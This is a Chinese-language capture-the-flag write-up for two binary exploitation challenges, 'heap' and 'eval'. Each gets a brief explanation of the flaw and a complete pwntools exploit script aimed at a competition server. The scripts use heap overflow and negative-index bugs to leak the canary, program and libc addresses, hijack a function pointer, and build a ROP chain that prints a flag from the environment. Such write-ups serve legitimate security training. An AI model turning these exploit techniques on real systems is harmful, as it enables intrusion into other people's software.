一开始直接忘了这个比赛,早上课上到一半看队友在说才想起来(
heap
自己写的堆管理器,洞是堆溢出。小于0x80的堆块类似于cache可以用于劫持next指针实现任意地址分配,大于0x80的堆块在free之后堆头会写上elf段的地址可以用于泄露elf基址,最后利用可控的容易地址分配劫持malloc中里调用的函数指针为backdoor即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *io = remote('8.130.86.205' , 20199 ) context.binary = 'heap' rc = lambda n : io.recv(n) ru = lambda x : io.recvuntil(x, drop = True ) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() uu64 = lambda x : u64(x.ljust(8 , '\x00' )) pie_os = lambda x : pie_base + x def menu (choice ): sla('> ' , str (choice)) def add (size ): menu(1 ) sla('size: ' , str (size)) def delete (idx ): menu(2 ) sla('index: ' , str (idx)) def edit (idx, content ): menu(3 ) sla('index: ' , str (idx)) sa('data: ' , content) def show (idx ): menu(4 ) sla('index: ' , str (idx)) add(0x90 ) add(0x90 ) add(0x90 ) delete(1 ) edit(0 , 'a' * 0xa1 ) show(0 ) ru('a' * 0xa0 ) canary = uu64(rc(8 )) - 0x61 edit(0 , 'a' * 0xb0 ) show(0 ) ru('a' * 0xb0 ) leak = uu64(ru('\n' )) edit(0 , 'a' * 0xb8 ) show(0 ) ru('a' * 0xb8 ) pie_base = uu64(ru('\n' )) - (0x55e231203060 - 0x55e231000000 ) victim = pie_os(0x00000000002031E0 ) backdoor = pie_os(0x0000000000000EAD ) pld = flat({ 0xa0 : [ canary, 0xa0aaaaaaaa , leak, ] }, filler = '\x00' ) edit(0 , pld) add(0x20 ) add(0x20 ) add(0x20 ) add(0x20 ) delete(1 ) delete(4 ) delete(3 ) add(0x20 ) edit(1 , 'a' * 0x31 ) show(1 ) ru('a' * 0x30 ) canary = uu64(rc(8 )) - 0x61 edit(1 , 'a' * 0x40 ) show(1 ) ru('a' * 0x40 ) leak = uu64(ru('\n' )) pld = flat({ 0x30 : [ canary, 0x30aaaaaaaa , leak, victim-0x28 ] }, filler = '\x00' ) edit(1 , pld) add(0x20 ) add(0x20 ) edit(4 , flat(backdoor)) add(0x20 ) ia()
这也能2血
eval
早就拿到shell了,然后发现flag在进程的环境变量里,硬是折磨了一下午。负数可以泄露libc地址、stack地址和canary;负数+数字可以在栈上特定偏移的地方写入数据,构造打印FLAG环境变量的ropchain(getenv+puts)然后劫持rbp返回到主函数后再次返回时触发栈迁移即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *io = remote('8.130.86.205' , 32199 ) context.binary = 'eval' libc = ELF('libc.so.6' , checksec = False ) ru = lambda x : io.recvuntil(x, drop = True ) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() libc_os = lambda x : libc_base + x libc_sym = lambda x : libc_os(libc.sym[x]) for i in range (1 , 43 ): sl('-' +str (i)) leak = int (ru('\n' )) if i == 38 : canary = leak if i == 40 : leak_stack = leak libc_base =leak - 0x61d6f +0x30 pop_rdi = libc_os(0x0000000000023b6a ) puts = libc_sym('puts' ) getenv = libc_sym('getenv' ) flag_str = leak_stack - 0x280 pld = flat([ '-94+' , str (u32('FLAG' )), ]) sl(pld) pld = flat([ '-95+' , str (puts), ]) sl(pld) pld = flat([ '-96+' , str (pop_rdi), ]) sl(pld) pld = flat([ '-97+' , str (puts), ]) sl(pld) pld = flat([ '-98+' , str (getenv), ]) sl(pld) pld = flat([ '-99+' , str (flag_str), ]) sl(pld) pld = flat([ '-100+' , str (pop_rdi), ]) sl(pld) pld = flat([ '-101+' , str (0xdeadbeef1333 ), ]) sl(pld) pld = flat([ '-102+' , str (canary), ]) sl(pld) rop_addr = leak_stack - 0x2c0 pld = flat([ '-8+' , str (rop_addr+8 ) ]) sl(pld) sl('' ) ia()